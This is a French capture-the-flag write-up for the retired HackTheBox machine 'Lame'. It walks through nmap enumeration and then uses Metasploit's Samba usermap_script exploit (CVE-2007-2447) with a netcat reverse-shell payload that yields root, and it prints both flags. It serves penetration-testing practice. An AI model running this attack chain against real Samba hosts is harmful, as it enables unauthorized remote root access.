Aller au contenu

HackTheBox - Lame

Dates des modifications : Intervenants : Modifications apportées :
- Matthieu BILLAUX
@_euzebius
Nhammmber One Mentor !
Dimanche 29 Octobre 2023 Mudsor MASOOD
mudpak
Mise à jour vers blog (v1.0.1)
Samedi 28 Octobre 2023 mudpak Rédaction de l'article (v1.0.0)
Vendredi 27 Octobre 2023 mudpak Exploitation (v0.0.5)
Jeudi 26 Octobre 2023 mudpak Énumération (v0.0.4)
Mercredi 25 Octobre 2023 mudpak OSINT - OpenSource Intelligence (v0.0.3)
Mardi 24 Octobre 2023 mudpak Découverte de la box (v0.0.2)
Lundi 23 Octobre 2023 mudpak Création du document (v0.0.1)

Logo Plan B

0. Avant-propos

Cet article a pour but de servir de writeup / guide pour obtenir les accès root sur la machine 'Lame'.

Adresses IP :

Les adresses IP ont été volontairement modifiées dans l'article.
L'adresse IP de la machine attaque sera : 66.66.66.66
L'adresse IP de la machine cible sera : 99.99.99.99


1. Prérequis

Il faut :

  • avoir accès à internet
  • avoir un compte sur la plateforme HackTheBox

Abonnement VIP+ :

Dans le cas présent je dispose d'un abonnement VIP+ pour accéder aux machines ''retired''.
Cet abonnement me permet également de bénéficier des Pwnbox, ce qui m'évite d'avoir une machine Kali Linux / Parrot à disposition et utiliser la connexion VPN.


2. Informations générales

Voici les informations générales à propos de la machine.

Auteur : ch4p
Système d'exploitation : Linux
Date de publication : 14 Mars 2017
Niveau de difficulté : Facile
Statut : Retirée

2.1 OSINT - OpenSource Intelligence

En nous basant sur l'image de la machine et au vu du contexte nous pouvons supposer qu'il y aura probablement :

  • une CVE qui a été publiée en Mars 2017
  • un lien avec le service Samba puisque les cheveux de la personne ressemblent fortement à un équipement de danseuse de samba

2.2 Test de connectivité

Avant de pouvoir attaquer la machine nous allons vérifier qu'elle est bien accessible.
Dans le cas présent deux paquets ICMP ont été envoyés et nous bien un retour de la machine cible, en d'autres termes elle est joignable.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[2023-10-23] - mudpak@potato
> ping 99.99.99.99 -c 2

PING 99.99.99.99 (99.99.99.99) 56(84) bytes of data.
64 bytes from 99.99.99.99: icmp_seq=1 ttl=63 time=10.1 ms
64 bytes from 99.99.99.99: icmp_seq=2 ttl=63 time=10.6 ms

--- 99.99.99.99 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 10.095/10.335/10.575/0.240 ms


3. Énumération

3.1 Identification des ports communs

Nous allons lancer un scan sur les 1000 ports les plus communs :

1
2
3
4
5
6
7
[2023-10-23] - mudpak@potato
> sudo nmap --top-ports 1000 99.99.99.99

Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-23 22:28 BST
Nmap scan report for 99.99.99.99
Host is up (0.039s latency).
Not shown: 996 filtered tcp ports (no-response)

Voici les ports ouverts obtenus ainsi que leurs services :

1
2
3
4
5
6
7
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 7.89 seconds

3.2 Identification des services

Nous allons lancer un autre scan cette fois pour identifier les versions de services :

1
2
3
4
5
6
[2023-10-23] - mudpak@potato
> sudo nmap -sV 99.99.99.99
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-23 22:30 BST
Nmap scan report for 99.99.99.99
Host is up (0.039s latency).
Not shown: 996 filtered tcp ports (no-response)

Voici les résultats obtenus, bien que nous obtenions les versions de certains services ce n'est pas le cas pour tous :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.51 seconds

3.3 Identification des versions des services

Nous allons essayer d'obtenir les versions des services de manière plus précise.

1
2
3
4
5
6
[2023-10-23] - mudpak@potato
> sudo nmap -sC -sV 99.99.99.99
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-23 21:38 BST
Nmap scan report for 99.99.99.99
Host is up (0.014s latency).
Not shown: 996 filtered tcp ports (no-response)

Au vu des étapes précédentes et notamment OSINT, nous allons nous concentrer sur la partie Samba, la version en service est '3.0.20' :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 66.66.66.66
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_  2048 5656240f211ddea72bae61b1243de8f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 2h00m26s, deviation: 2h49m45s, median: 24s
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2023-10-23T16:38:53-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.73 seconds

3.4 Recherche d'exploit via exploitDB

Il s'avère qu'un exploit est disponible pour la version de Samba identifiée.

1
https://www.exploit-db.com/exploits/16320


4. Metasploit

4.1 MSF Console

Nous allons ouvrir la console MSF :

1
2
[2023-10-24] - mudpak@potato
> msfconsole

Le chargement peut prendre quelques secondes :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
         .                                         .
 .

      dBBBBBBb  dBBBP dBBBBBBP dBBBBBb  .                       o
       '   dB'                     BBP
    dB'dB'dB' dBBP     dBP     dBP BB
   dB'dB'dB' dBP      dBP     dBP  BB
  dB'dB'dB' dBBBBP   dBP     dBBBBBBB

                                   dBBBBBP  dBBBBBb  dBP    dBBBBP dBP dBBBBBBP
          .                  .                  dB' dBP    dB'.BP
                             |       dBP    dBBBB' dBP    dB'.BP dBP    dBP
                           --o--    dBP    dBP    dBP    dB'.BP dBP    dBP
                             |     dBBBBP dBP    dBBBBP dBBBBP dBP    dBP

                                                                    .
                .
        o                  To boldly go where no
                            shell has gone before


       =[ metasploit v6.3.5-dev                           ]
+ -- --=[ 2296 exploits - 1202 auxiliary - 410 post       ]
+ -- --=[ 965 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: View advanced module options with 
advanced
Metasploit Documentation: https://docs.metasploit.com/

4.2 Recherche d'exploit

Nous allons chercher l'exploit précédemment identifié via exploitDB via la CVE :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
[msf](Jobs:0 Agents:0) >> search 2007-2447

Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

4.3 Utilisation de l'exploit

Pour utiliser l'exploit utiliser la commande suivante :

1
[msf](Jobs:0 Agents:0) >> use exploit/multi/samba/usermap_script 

4.4 Message d'information

Par défaut un certain nombre de paramètres sont à modifier avant l'exécution de celui-ci, saisir la commande ci-dessous pour les afficher :

1
2
3
[*] No payload configured, defaulting to cmd/unix/reverse_netcat

[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> options

4.5 Affichage des options

Les différentes options s'affichent, nous aurons besoin de modifier les suivantes :

  • RHOSTS : IP de la machine cible
  • LHOST : IP de la machine attaquant
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  66.66.66.66    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

4.6 Modification des RHOSTS

Pour modifier la valeur des RHOSTS, saisir la commande suivante :

1
2
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> set RHOSTS 99.99.99.99
RHOSTS => 99.99.99.99

4.7 Modification du LHOST

1
2
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> set LHOST 66.66.66.66
LHOST => 66.66.66.66

4.8 Exploitation de la vulnérabilité

Maintenant que nous avons défini les paramètres personnalisés, nous pouvons lancer l'attaque via la commande suivante :

1
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> exploit

Nous pouvons constater que le reverse shell a bien été obtenu :

1
2
[*] Started reverse TCP handler on 66.66.66.66:4444 
[*] Command shell session 1 opened (66.66.66.66:4444 -> 99.99.99.99:41311) at 2023-10-24 21:51:23 +0100

La machine cible étant Linux, nous pouvons exécuter des commandes pour voir les privilèges obtenus :

1
2
3
4
5
6
7
8
id
uid=0(root) gid=0(root)

whoami
root

pwd
/


5. Flag User

Pour afficher le flag user, saisir la commande suivante :

1
2
3
cat /home/makis/user.txt

6e765ed0ce8160250cdff68f7e0a4246


6. Flag Root

Pour afficher le flag root, saisir la commande suivante :

1
2
3
cat /root/root.txt

8df4fb76b9ee8204b387a5daf88bb455


7. MindMap

Voici une mindmap pour récapituler les différentes étapes de ce writeup.


8. Erreurs fréquentes

Il se peut que le scan soit lancé mais ne montre pas de résultats, il faut alors le relancer avec les droits root.

1
2
3
4
5
6
[2023-10-23] - mudpak@potato
> nmap --top-ports 1000 99.99.99.99

Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-23 22:28 BST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.06 seconds


9. Sources

Voici les différentes sources qui ont permis la rédaction de ce document.

1
2
- https://arnavtripathy98.medium.com/smb-enumeration-for-penetration-testing-e782a328bf1b
- https://www.exploit-db.com/exploits/16320